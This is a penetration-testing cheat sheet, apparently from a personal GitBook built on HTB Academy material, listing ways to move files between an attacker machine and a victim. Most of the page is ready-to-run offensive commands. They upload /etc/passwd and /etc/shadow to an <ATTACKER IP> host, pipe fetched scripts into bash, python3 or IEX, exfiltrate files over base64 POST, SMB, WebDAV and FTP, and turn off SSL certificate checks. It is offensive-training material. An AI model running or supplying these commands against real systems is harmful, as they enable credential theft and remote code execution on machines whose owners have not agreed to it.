> For the complete documentation index, see [llms.txt](https://sheepwall.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sheepwall.gitbook.io/home/hacking/installation/file-transfers.md).

# File Transfers

## Windows File Transfer Methods

### PowerShell Download

Using Net.WebClient and DownloadFile method

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS C:\user> (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')

PS C:\user> (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
```

{% endcode %}

Using Invoke-WebRequest

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS C:\user> Invoke-WebRequest '<Target File URL>' -OutFile '<Output File Name>' -UseBasicParsing | IEX
```

{% endcode %}

Bypassing SSL error

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS C:\user> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

{% endcode %}

### PowerShell Upload

On the attacker server, run an upload server

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ python3 -m uploadserver
```

{% endcode %}

On the victim server, upload files to the server

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS C:\user> Invoke-FileUpload -Uri http://<ATTACKER IP>/upload -File <TARGET FILE>
```

{% endcode %}

Upload by converting to Base64

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path <TARGET FILE> -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://<ATTACKER IP>/ -Method POST -Body $b64
```

{% endcode %}

### SMB Download

Create a SMB folder on the attacker server

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sudo impacket-smbserver share -smb2support /tmp/smbshare
```

{% endcode %}

On the victim, download files from the attacker server&#x20;

{% code overflow="wrap" lineNumbers="true" %}

```powershell
C:\user> copy \\<ATTACKER IP>\share\nc.exe
```

{% endcode %}

If Windows requires a user and password set on the SMB server, set those up

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

{% endcode %}

Mount the drive on the victim

{% code overflow="wrap" lineNumbers="true" %}

```powershell
C:\user> net use n: \\<ATTACKER IP>\share /user:test test
```

{% endcode %}

### SMB Upload

When you use `SMB`, it will first attempt to connect using the SMB protocol, and if there's no SMB share available, it will try to connect using HTTP.

Setup a SMB over HTTP server using WebDav on the attacker server

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

{% endcode %}

Upload files from the victim server to the attacker server

{% code overflow="wrap" lineNumbers="true" %}

```powershell
C:\user> copy <TARGET FILE> \\<ATTACKER IP>\DavWWWRoot\
```

{% endcode %}

### FTP Download

Host FTP on the attacker server

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sudo python3 -m pyftpdlib --port 21
```

{% endcode %}

Download files from the victim machine

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS C:\user> (New-Object Net.WebClient).DownloadFile('ftp://<ATTACKER IP>/file.txt', 'ftp-file.txt')
```

{% endcode %}

Non-Interactive FTP download

{% code overflow="wrap" lineNumbers="true" %}

```powershell
C:\user> echo open 192.168.49.128 > ftpcommand.txt
C:\user> echo USER anonymous >> ftpcommand.txt
C:\user> echo binary >> ftpcommand.txt
C:\user> echo GET file.txt >> ftpcommand.txt
C:\user> echo bye >> ftpcommand.txt
C:\user> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\user>more file.txt
This is a test file
```

{% endcode %}

### FTP Uploads

Run an FTP server on the attacker machine

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ sudo python3 -m pyftpdlib --port 21 --write
```

{% endcode %}

Upload files from the victim machine

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS C:\user> (New-Object Net.WebClient).UploadFile('ftp://<ATTACKER IP>/ftp-hosts', '<TARGET FILE>')
```

{% endcode %}

Non-Interactive FTP upload

{% code overflow="wrap" lineNumbers="true" %}

```powershell
C:\user> echo open <ATTACKER IP> > ftpcommand.txt
C:\user> echo USER anonymous >> ftpcommand.txt
C:\user> echo binary >> ftpcommand.txt
C:\user> echo PUT <TARGET FILE> >> ftpcommand.txt
C:\user> echo bye >> ftpcommand.txt
C:\user> ftp -v -n -s:ftpcommand.txt
ftp> open <ATTACKER IP>

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT <TARGET FILE>
ftp> bye
```

{% endcode %}

## Linux File Transfer Methods

### Network Downloads

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ wget https://<ATTACKER IP>/file -O /tmp/file
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ curl -o /tmp/LinEnum.sh https://<ATTACKER IP>/file
```

{% endcode %}

### Network Uploads

On the attacker server, run an upload server

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ python3 -m pip install --user uploadserver # install uploadserver
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server' # create a self-signed cert
$ python3 -m uploadserver 443 --server-certificate /root/server.pem # start server
```

{% endcode %}

On the victim, upload files to the server. We need to specify `insecure` because we are using a self-signed cert

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ curl -X POST https://<ATTACKER IP>/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
```

{% endcode %}

### Fileless attacks

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ curl https://<ATTACKER IP>/script.sh | bash
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ wget -q0- https://<ATTACKER IP>/pythonfile | python3
```

{% endcode %}

### Bash Downloads

Only works if Bash v 2.04 or greater is compiled with `--enable-net-redirections`

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ exec 3<>/dev/tcp/10.10.10.32/80 # Connect to the target server
$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3 # GET request
$ cat <&3 # print response
```

{% endcode %}

### SSH/SCP Download

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ scp <ATTACKER USER>@<ATTCKER IP>:/file . 
```

{% endcode %}

### SSH/SCP Uploads

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ scp /etc/passwd <ATTACKER USER>@<ATTACKER IP>:/ 
```

{% endcode %}

### Web Servers in other languages

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ python3 -m http.server
$ php -S 0.0.0.0:8000
$ ruby -run -ehttpd . -p8000
```

{% endcode %}

## Transferring Files with Code

### Python

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://attacker/file", "outputfilename")'
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://attacker/file", "outputfilename")'
```

{% endcode %}

### PHP

{% code overflow="wrap" lineNumbers="true" %}

```bash
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

{% endcode %}

### Ruby

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
```

{% endcode %}

### Perl

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
```

{% endcode %}

### Javascript + cscript

Save the following code as \`wget.js\`

{% code overflow="wrap" lineNumbers="true" %}

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

{% endcode %}

Execute \`wget.js\` using powershell

{% code overflow="wrap" lineNumbers="true" %}

```powershell
> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
```

{% endcode %}

### VBScript + cscript

Save the following code as \`wget.vbs\`

```vba
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

Execute \`wget.vbs\` using powershell

{% code overflow="wrap" lineNumbers="true" %}

```powershell
> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
```

{% endcode %}

## Misc Transfers

### Nc

Victim machine ready to receive data and write to local server

```bash
$ nc -l -p 8000 > /dev/shm/evil
```

Attacker machine sending file over

```bash
$ nc 192.168.49.128 8000 < evil
```

Doing the same but over an allowed port 443

```bash
$ sudo nc -l -p 443 -q 0 < /dev/shm/evil
```

```bash
$ nc 192.168.49.128 443 > evil
```

### RDP

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
$ xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
```

{% endcode %}